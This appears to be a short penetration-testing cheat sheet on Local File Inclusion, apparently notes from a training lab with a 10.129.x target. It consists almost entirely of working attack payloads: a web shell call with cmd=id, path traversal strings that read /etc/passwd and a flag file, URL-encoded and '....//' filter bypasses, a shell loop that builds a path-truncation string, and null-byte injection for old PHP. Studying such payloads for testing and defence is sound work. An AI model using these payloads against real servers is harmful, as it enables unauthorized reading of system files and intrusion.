Local File Inclusion (LFI)
http://10.129.42.65/shell.php?cmd=id
ORRRRRRRRRRRRRR
http://10.129.42.65/shell.php&cmd=id/index.php?language=../../../../etc/passwd/index.php?language=../../../usr/share/flags/flag.txt/index.php?language=/../../../etc/passwd/index.php?language=....//....//....//....//etc/passwd# Url encoded of /index.php?language=../../../../etc/passwd
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64/index.php?language=./languages/../../../../etc/passwdecho -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
non_existing_directory/../../../etc/passwd/./././<SNIP>././././
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]# Null Bytes
# Php version 5.5 or older
# It will ignore the .php that will be appended after the passwd
# Like /etc/passwd.php to /etc/passwd
/etc/passwd%00
/etc/passwd%00.php
/index.php?language=../../../../etc/passwd%00


Last updated